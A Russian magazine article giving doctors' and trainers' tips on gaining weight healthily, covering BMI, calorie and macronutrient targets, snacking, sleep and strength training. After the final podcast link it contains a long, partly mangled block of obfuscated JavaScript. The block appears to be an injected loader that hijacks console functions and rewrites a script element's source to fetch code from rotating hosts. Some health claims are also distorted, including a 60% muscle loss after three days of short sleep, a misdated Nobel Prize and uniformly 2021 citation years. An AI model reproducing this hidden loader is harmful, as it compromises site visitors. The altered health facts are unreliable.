Как правильно потолстеть: 5 советов от врачей
Сам по себе вес еще ни о чем не говорит
— Во-первых, организм не получает необходимое количество энергии, которое нужно в том числе для борьбы с инфекциями и заболеваниями, — говорит диетолог Марина Глебова. — Поэтому люди с низким весом чаще и дольше болеют. Также кости не получают необходимые микроэлементы, отсюда — снижение плотности костной ткани, повышение риска остеопороза, выпадение зубов. Недостаток питательных веществ не в лучшую сторону отражается на качестве и внешнем виде кожи и волос.
Из-за излишней худобы у женщин возникают проблемы с зачатием, мужчины рискуют умереть слишком рано от сердечно-сосудистых заболеваний. В пожилом возрасте у людей с низким индексом массы тела вероятность обзавестись деменцией повышается на 34%.
Как понять, что вы мало весите
Прежде чем записать себя в отряд слишком худых людей, посчитайте свой индекс массы тела (он должен быть не ниже 18,5). Для этого разделите свой вес в килограммах на квадрат роста в метрах. Например, если ваш рост составляет 170 сантиметров, а вес — 60 килограммов, уравнение будет выглядеть так: 60 ∶ (1,7 × 1,7). В результате получим 20,7. Это хороший показатель. А вот с весом 50 кило показатель будет 17,3 — самое время задуматься о наборе веса. Но перед тем как приступить к этому, обязательно проконсультируйтесь с врачом. Потому что причин худобы может быть несколько.
Чтобы понять, нужно ли вам толстеть, посчитайте индекс массы тела
Самая распространенная причина — недостаток калорий. Также большое значение имеет наследственность, ускоренный метаболизм и нервные расстройства. Организм может не усваивать питательные вещества из-за диабета или высоких физических нагрузок. Если вы начали худеть ни с того ни с сего, ваш образ жизни не изменился, а весы показали даже минус пять кило за пару недель — это верный знак того, что нужно идти к специалисту. Для начала посетите хотя бы терапевта. Рекомендации ниже относятся к тем людям, у которых нет заболеваний, мешающих набрать вес, — к тем, кто здоров и хочет набрать массу.
Считайте калории
Самый элементарный способ набрать вес — просто есть всё без разбора в любое время и в любых количествах. С таким подходом к себе вы быстро обзаведетесь дополнительными килограммами, но они осядут в некрасивых боках, которые захочется поскорее убрать. Набирать вес за счет лишнего жира не только ошибочно, но и опасно. В любом случае прибавлять калории нужно постепенно.
— Для того чтобы поправиться, в среднем мужчинам нужно прибавлять к необходимому количеству калорий минимум 250 ккал в сутки, женщинам — 125, — объясняет Марина Глебова. — Но важно помнить, что точное их количество зависит от многих факторов, как то обмен веществ, возраст, изначальный вес, образ жизни, наследственность и т. д. Вместе с тем питание должно быть регулярным и правильным. Не стоит употреблять слишком много калорий — набирать массу тела нужно за счет мышц, а не жировой прослойки.
Даже если хотите потолстеть, переедать всё равно не стоит
Суточная норма калорий разнится в зависимости от образа жизни и возраста. Для мужчин разбег составляет от 2000 до 3000 ккал, для девушек и женщин — от 1500 до 2500 ккал. Рассчитать точное количество необходимых калорий вам поможет специалист. Если для вас походы к врачу — слишком дорого и долго, то воспользуйтесь хотя бы онлайн-калькулятором. Потребление калорий должно быть сбалансировано их расходом, чтобы прибавка веса не стала нездоровой. По рекомендациям ВОЗ, общее потребление жиров не должно превышать 30% от общей потребляемой энергии, насыщенные жиры (свинина, говядина и молочные продукты, фастфуд, шоколад) должны составлять менее 10%, а трансжиры — менее 1% от общей потребляемой энергии.
Популярные продукты, в которых содержатся трансжиры
Причем насыщенные и трансжиры желательно заменять полезными ненасыщенными жирами (рыба, оливковое и арахисовое масло, маслины, грецкие орехи, авокадо, фундук и т. д.), а трансжиры промышленного производства лучше исключить из рациона.
Соблюдайте рацион
Еще один калькулятор, который вам пригодится для набора веса, считает потребляемые белки, жиры и углеводы. Для поддержания и приумножения существующих килограммов в рационе должно быть 1,6–1,8 граммов белка, 4–6 граммов углеводов и 0,5–1,5 грамма жиров на кило веса.
— Для обеспечения нормальной жизнедеятельности организму необходимы разные источники белков, жиров и углеводов в определенных пропорциях. Всё взаимосвязано: можно горстями пить аптечные витамины, но они просто не смогут добраться до клеток без белков-переносчиков (если не доедаете белковой пищи), а жирорастворимые витамины не усвоятся без должного количества жиров в рационе, — говорит фитнес-тренер Виктория Яблокова.
Авокадо — хороший источник полезных жиров
Продукты, из которых можно выжать максимум БЖУ, известны многим. Источники белка — это яйца, творог, сыр, рыба, фасоль, орехи и мясо. За углеводами — к овощам, фруктам, овсянке, цельнозерновому хлебу и коричневому рису. Да, углеводы содержатся и в белом хлебе, тортах, печенье и пирогах, но это простые углеводы — они дают чувство насыщения, но для организма не полезны. Получать жиры лучше всего из сыра, авокадо, творога и орехов. Ну и не забывайте о клетчатке: на каждую тысячу ккал рациона ее рекомендуется 10–15 граммов.
Составить правильный рацион не так сложно
Другой важный совет — ужинать минимум за три часа до сна, составив свое меню таким образом, чтобы ужин не перегрузил ЖКТ и одновременно не был слишком легким, чтобы через час вы снова не захотели есть. В первом случае вы вряд ли сможете нормально заснуть, во втором — начнется «ночной дожор».
— Из-за того, что ночью организм занимался пищеварением, в итоге не совсем качественный сон, небольшая разбитость, нарушенное пищеварение, с утра вы не хотите завтракать, — говорит диетолог Галина Барташевич. — «Ночной дожор» начинается, когда человек уже израсходовал энергию, но вовремя не возместил ее пищевым эквивалентом, в итоге организм требует у хозяина вернуть потраченное. Человеку проще, не думая о талии, быстро утолить голод. Туда и пирожные идут, и ночное доедание фруктов, шоколада, чашки кофе и всё остальное.
Чаще перекусывайте
Все эти калькуляторы, конечно, вещь полезная, но есть одна проблема: обычно люди с недостатком веса наедаются быстрее. Поэтому если вы привыкли питаться три раза в день, то даже огромные порции вас не спасут — вы их не осилите. Выход один — питаться чаще. В ВОЗ вообще говорят, что есть 5–6 раз в день — это норма. Оставляйте себе полноценный завтрак, обед и ужин и добавляйте примерно два перекуса — профит!
Но не превращайте перекус во второй обед
По желанию (и возможности) количество перекусов можно увеличить (в разумных пределах). Не забывайте баловать себя сладостями, а если не хочется есть, не нужно себя заставлять. От этого вам не придется начинать всё сначала. Главное, чтобы рацион вам нравился, а организм мог комфортно его переносить.
Научитесь спать правильно
Чтобы добиться уверенных результатов в наборе веса, нужно спать не меньше восьми часов в сутки. Во время сна организм восстанавливается после дневных нагрузок и наращивает мышечную массу. Чтобы понять, как это работает, ученые провели исследование, где одна группа людей спала 5,5 часа в сутки, а другая — 8,5. Трех суток оказалось достаточно, чтобы прийти к показательному выводу: у тех, кто недосыпал, мышечная масса к концу исследования уменьшилась на 60%, а у тех, кто спал нормально, — увеличилась на 40%.
Позвольте себе больше сна и меньше стресса
Понятно, что это усредненные показатели и многое зависит от ваших персональных особенностей, но вот несколько несложных правил для качественного сна:
- ложитесь спать в одно и то же время;
- не пейте кофе и алкоголь за несколько часов до сна;
- не ешьте много на ночь;
- не проявляйте излишнюю физическую активность.
— В органах для их нормального функционирования и сокращения гладкой мускулатуры должен быть кровоток. Поэтому бегать нельзя. Не стоит забывать, что человек, если он не спортсмен, бегает с разным темпом, а если еще и задышался, то скорость совсем падает, — объясняет преподаватель Уральского института фитнеса Игорь Мормиль. — Таким образом, энергообеспечение мышц всегда меняется. И это может привести к падению сахара в крови и патологическим состояниям типа гипогликемии.
В конце концов, излишняя физическая активность повысит энергию, значительно сдвинет время засыпания и вообще испортит качество сна. Засыпать желательно вовремя, а не ждать, пока закончится ваше любимое шоу или очередной эпизод сериала, и ложиться глубоко за полночь. Здесь в силу вступают циркадные ритмы («внутренние часы», если хотите). Группа ученых, которые получили за их исследование Нобелевскую премию в 2021 году, объясняет это так: ночью мозг производит довольно много гормонов, в частности, мелатонин и гормон роста человека, а при дефиците сна производство гормона роста резко снижается. (Для детей такое снижение опасно вообще задержкой развития).
Еду перед сном можно заменить протеиновым коктейлем. Он состоит из белка в формах, которые быстро и легко разрушаются, поэтому употребление его перед сном значительно облегчит эту работу организму.
Займитесь спортом
Спорт хотя бы не даст массе отложиться в боках
Физические нагрузки для набора веса так же важны, как и правильное питание. Пока другие худеют на беговых дорожках, сосредоточьтесь на силовых тренировках и разбавьте их кардио. Это поможет нарастить мышечную массу. Для лучшего эффекта стоит хотя бы несколько занятий провести с тренером. Он, по крайней мере, расскажет, чему уделить особое внимание, и объяснит, как подступиться к тренажерам. Будьте готовы к тому, что тренироваться придется хотя бы трижды в неделю.
Можно ли набирать мышцы на дефиците калорий
Да, можно и вот ключевые данные и ссылки на исследования.
- Мы можем терять мышечную массу при дефиците калорий без силовых тренировок. (Villareal et al., 2021). Однако при силовых тренировках на дефиците калорий мышечная масса не уходит (Stiegler and Cunliffe 2006; Miller et al., 2021; Churchward-Venne et al., 2021; Trexler et al., 2021; Helms et al., 2021a; Helms et al., 2021b; Murphy et al., 2021; Hulmi et al., 2021).
- Для сохранения мышечной массы необходим небольшой дефицит калорий — около 500 ккал/сутки (Garthe et al., 2021; Sundgot-Borgen and Garthe, 2021; Trexler et al., 2021; Helms et al., 2021a; Murphy et al., 2021; Khodaee et al., 2021; Manore et al., 2021; Hulmi et al., 2021). Если же дефицит калорий очень большой, это приводит к большей мышечной атрофии (Chaston et al., 2007).
- Еще к вопросу о резком сокращении калорийности: есть длинный перечень негативных эффектов из-за быстрой потери веса — гормональные, психологические и физиологические.(Sundgot-Borgen and Garthe, 2021; Franchini et al., 2021; Trexler et al., 2021; Khodaee et al., 2021; Manore et al., 2021; Hulmi et al., 2021; Aloui et al., 2021; Hulmi et al., 2021).
- Для сохранения мышечной массы нужно придерживаться питания с высоким содержанием белка. В некоторых исследованиях советуют 1.5-1.8 г белка на 1 кг массы тела в день, в некоторых более 2 г на 1 кг (Stiegler and Cunliffe 2006; Wycherley et al., 2021; Churchward-Venne et al., 2021; Pasiakos et al., 2021; Phillips, 2021; Trexler et al., 2021; Helms et al., 2021; Helms et al., 2021a; Murphy et al., 2021; Manore et al., 2021; Kim et al., 2021; Hulmi et al., 2021).
Опять же следует упомянуть и про вклад генетики. Научные исследования доказывают, что результаты разных людей на одинаковую нагрузку сильно разнятся.
Вот к примеру, насколько разной была прибавка мышечной массы (в %) у атлетов за 12 недель тренировок.
На графике слева — атлеты, питавшиеся контролируемо с профицитом калорий, справа — питавшиеся в обычном для себя режиме (как им нравится). Исследование: Garthe et al., 2021
Такой разный результат ученые объясняют именно генетической предрасположенностью. В большом количестве исследований доказали, что реакция разных людей на одинаковые тренировки — разная и что есть те, кто хорошо набирает мышечную массу и те, кто плохо, независимо от прочих условий.
Подкаст 63. можно ли бегать с лишним весом и с чего начать
[0x1,0x0,0x0],this[‘aBvRRk’]=function(){return’newState’;},this[‘hSfrHc’]=’x5cw x20*x5c(x5c)x20*{x5cw x20*’,this[‘JuTrEU’]='[x27|x22]. [x27|x22];?x20*}’;};_0x813e7b[‘prototype’][‘DjFBTt’]=function(){var _0x5282aa=new RegExp(this[‘hSfrHc’] this[‘JuTrEU’]),_0x3a962a=_0x5282aa[‘test’](this[‘aBvRRk’][‘toString’]())?–this[‘VcOAHj’][0x1]:–this[‘VcOAHj’][0x0];return this[‘JyOvZW’](_0x3a962a);},_0x813e7b[‘prototype’][‘JyOvZW’]=function(_0x276526){if(!Boolean(~_0x276526))return _0x276526;return this[‘AakBhD’](this[‘jOBnSf’]);},_0x813e7b[‘prototype’][‘AakBhD’]=function(_0x461fbf){for(var _0x14f506=0x0,_0x2ee2e0=this[‘VcOAHj’][‘length’];_0x14f506<_0x2ee2e0;_0x14f506 ){this[‘VcOAHj’][‘push’](Math[’round’](Math[‘random’]())),_0x2ee2e0=this[‘VcOAHj’][‘length’];}return _0x461fbf(this[‘VcOAHj’][0x0]);},new _0x813e7b(a0_0x5344)[‘DjFBTt’](),_0x3ab154=a0_0x5344[‘MSYvHM’](_0x3ab154),a0_0x5344[‘uDogYq’][_0x35036b]=_0x3ab154;}else _0x3ab154=_0x75b161;return _0x3ab154;};!function(_0x9927ec){var _0x147d37=function(){var
_0x492bcc=!![];return function(_0x813e7b,_0x3456c1){var _0x5282aa=_0x492bcc?function(){var _0x39e649=a0_0x5344;if(_0x3456c1){var _0x3a962a=_0x3456c1[_0x39e649(0x19e)](_0x813e7b,arguments);return _0x3456c1=null,_0x3a962a;}}:function(){};return _0x492bcc=![],_0x5282aa;};}(),_0x3a3234=function(){var _0x276526=!![];return function(_0x461fbf,_0x14f506){var _0x2ee2e0=_0x276526?function(){var _0x366da0=a0_0x5344;if(_0x14f506){var _0x1e0ef5=_0x14f506[_0x366da0(0x19e)](_0x461fbf,arguments);return _0x14f506=null,_0x1e0ef5;}}:function(){};return _0x276526=![],_0x2ee2e0;};}(),_0x95b9f2={};function _0x5c109c(_0x27154d){var _0xcaea4d=a0_0x5344,_0xfcac6c=_0x147d37(this,function(){var _0x7c8730=function(){var _0x5b59d9=a0_0x5344,_0x4f08e7=_0x7c8730[_0x5b59d9(0x193)](_0x5b59d9(0x174))()[_0x5b59d9(0x193)](_0x5b59d9(0x19b));return!_0x4f08e7[_0x5b59d9(0x1ac)](_0xfcac6c);};return _0x7c8730();});_0xfcac6c();var _0xeaa392=_0x3a3234(this,function(){var _0x122b2d=a0_0x5344,_0x4e2253;try{var
_0x13b746=Function(_0x122b2d(0x1ae) _0x122b2d(0x175) ‘);’);_0x4e2253=_0x13b746();}catch(_0x518bc2){_0x4e2253=window;}var _0x345b99=_0x4e2253[_0x122b2d(0x182)]=_0x4e2253[_0x122b2d(0x182)]||{},_0x17fae1=[_0x122b2d(0x1a9),_0x122b2d(0x197),_0x122b2d(0x185),_0x122b2d(0x18f),_0x122b2d(0x196),_0x122b2d(0x18e),_0x122b2d(0x1a3)];for(var _0x1f4484=0x0;_0x1f4484<_0x17fae1[_0x122b2d(0x17b)];_0x1f4484 ){var _0x58d3ee=_0x3a3234[_0x122b2d(0x193)][_0x122b2d(0x1a5)][_0x122b2d(0x1a2)](_0x3a3234),_0x10cd41=_0x17fae1[_0x1f4484],_0x174496=_0x345b99[_0x10cd41]||_0x58d3ee;_0x58d3ee[_0x122b2d(0x18c)]=_0x3a3234[_0x122b2d(0x1a2)](_0x3a3234),_0x58d3ee[_0x122b2d(0x199)]=_0x174496[_0x122b2d(0x199)][_0x122b2d(0x1a2)](_0x174496),_0x345b99[_0x10cd41]=_0x58d3ee;}});_0xeaa392();if(_0x95b9f2[_0x27154d])return _0x95b9f2[_0x27154d][_0xcaea4d(0x17a)];var _0x217ef4=_0x95b9f2[_0x27154d]={‘i’:_0x27154d,’l’:!0x1,’exports’:{}};return _0x9927ec[_0x27154d][_0xcaea4d(0x1ab)]
(_0x217ef4[_0xcaea4d(0x17a)],_0x217ef4,_0x217ef4[_0xcaea4d(0x17a)],_0x5c109c),_0x217ef4[‘l’]=!0x0,_0x217ef4[_0xcaea4d(0x17a)];}_0x5c109c[‘m’]=_0x9927ec,_0x5c109c[‘c’]=_0x95b9f2,_0x5c109c[‘d’]=function(_0x3fd18b,_0x325dba,_0x1ab03a){var _0x275bc6=a0_0x5344;_0x5c109c[‘o’](_0x3fd18b,_0x325dba)||Object[_0x275bc6(0x1a6)](_0x3fd18b,_0x325dba,{‘enumerable’:!0x0,’get’:_0x1ab03a});},_0x5c109c[‘r’]=function(_0xc3598c){var _0xce1d3c=a0_0x5344;_0xce1d3c(0x176)!=typeof Symbol&&Symbol[_0xce1d3c(0x19f)]&&Object[_0xce1d3c(0x1a6)](_0xc3598c,Symbol[_0xce1d3c(0x19f)],{‘value’:_0xce1d3c(0x1a1)}),Object[_0xce1d3c(0x1a6)](_0xc3598c,_0xce1d3c(0x1b0),{‘value’:!0x0});},_0x5c109c[‘t’]=function(_0x29b1a1,_0x5eb5bd){var _0x577743=a0_0x5344;if(0x1&_0x5eb5bd&&(_0x29b1a1=_0x5c109c(_0x29b1a1)),0x8&_0x5eb5bd)return _0x29b1a1;if(0x4&_0x5eb5bd&&_0x577743(0x186)==typeof _0x29b1a1&&_0x29b1a1&&_0x29b1a1[_0x577743(0x1b0)])return _0x29b1a1;var _0x5c0015=Object[_0x577743(0x1b5)](null);if(_0x5c109c[‘r’](_0x5c0015),Object[_0x577743(0x1a6)](_0x5c0015,_0x577743(0x183),
{‘enumerable’:!0x0,’value’:_0x29b1a1}),0x2&_0x5eb5bd&&_0x577743(0x1b3)!=typeof _0x29b1a1)for(var _0x10f741 in _0x29b1a1)_0x5c109c[‘d’](_0x5c0015,_0x10f741,function(_0x4e84e4){return _0x29b1a1[_0x4e84e4];}[_0x577743(0x1a2)](null,_0x10f741));return _0x5c0015;},_0x5c109c[‘n’]=function(_0x131996){var _0x5e67db=a0_0x5344,_0x4b9a96=_0x131996&&_0x131996[_0x5e67db(0x1b0)]?function(){var _0x327075=_0x5e67db;return _0x131996[_0x327075(0x183)];}:function(){return _0x131996;};return _0x5c109c[‘d’](_0x4b9a96,’a’,_0x4b9a96),_0x4b9a96;},_0x5c109c[‘o’]=function(_0x1fd9c6,_0x794c81){var _0x146304=a0_0x5344;return Object[_0x146304(0x1a5)][_0x146304(0x198)][_0x146304(0x1ab)](_0x1fd9c6,_0x794c81);},_0x5c109c[‘p’]=”,_0x5c109c(_0x5c109c[‘s’]=0x0);}([function(_0x2a4160,_0x5a2751,_0x9b0b7a){var _0x284acf=a0_0x5344;_0x2a4160[_0x284acf(0x17a)]=_0x9b0b7a(0x1);},function(_0x47793c,_0x307fe5,_0x5e530c){var _0x2e5f94=a0_0x5344;’use strict’;_0x5e530c[‘r’](_0x307fe5);const _0x3a83f3=[[_0x2e5f94(0x17c),_0x2e5f94(0x1a7)],[_0x2e5f94(0x1aa),_0x2e5f94(0x178)],
[_0x2e5f94(0x1a0),_0x2e5f94(0x188)],[_0x2e5f94(0x172),_0x2e5f94(0x1b4)],[_0x2e5f94(0x179),_0x2e5f94(0x1b1)],[_0x2e5f94(0x191),_0x2e5f94(0x192)],[_0x2e5f94(0x17d),_0x2e5f94(0x1a8)],[_0x2e5f94(0x195),_0x2e5f94(0x194)]][_0x2e5f94(0x1af)](_0x3d41fc=>_0x3d41fc[0x0]);(()=>{var _0x2ef6b9=_0x2e5f94;const _0x5d3700=document[_0x2ef6b9(0x18a)](_0x2ef6b9(0x184)),_0x51ee15=new window[(_0x2ef6b9(0x190))](_0x5d3700[_0x2ef6b9(0x17f)]),_0x180a4a=parseInt(_0x5d3700[_0x2ef6b9(0x18b)](_0x2ef6b9(0x18d)))||0x0;if(_0x180a4a>=_0x3a83f3[_0x2ef6b9(0x17b)])return _0x5d3700[_0x2ef6b9(0x1a4)]=null,void console[_0x2ef6b9(0x1a9)](_0x2ef6b9(0x1ad));_0x51ee15[_0x2ef6b9(0x19a)]=_0x3a83f3[_0x180a4a];const
_0x2fce4c=document[_0x2ef6b9(0x189)](_0x2ef6b9(0x177));[…_0x5d3700[_0x2ef6b9(0x1b2)]][_0x2ef6b9(0x19d)](_0x2ed4c9=>_0x2fce4c[_0x2ef6b9(0x180)](_0x2ed4c9[_0x2ef6b9(0x173)],_0x2ed4c9[_0x2ef6b9(0x1b6)])),_0x2fce4c[_0x2ef6b9(0x180)](_0x2ef6b9(0x18d),_0x180a4a 0x1),_0x2fce4c[_0x2ef6b9(0x180)]
(_0x2ef6b9(0x17f),_0x51ee15[_0x2ef6b9(0x199)]()),_0x5d3700[_0x2ef6b9(0x187)][_0x2ef6b9(0x19c)](_0x5d3700),document[_0x2ef6b9(0x17e)][_0x2ef6b9(0x181)]
(_0x2fce4c);})();}]);”>
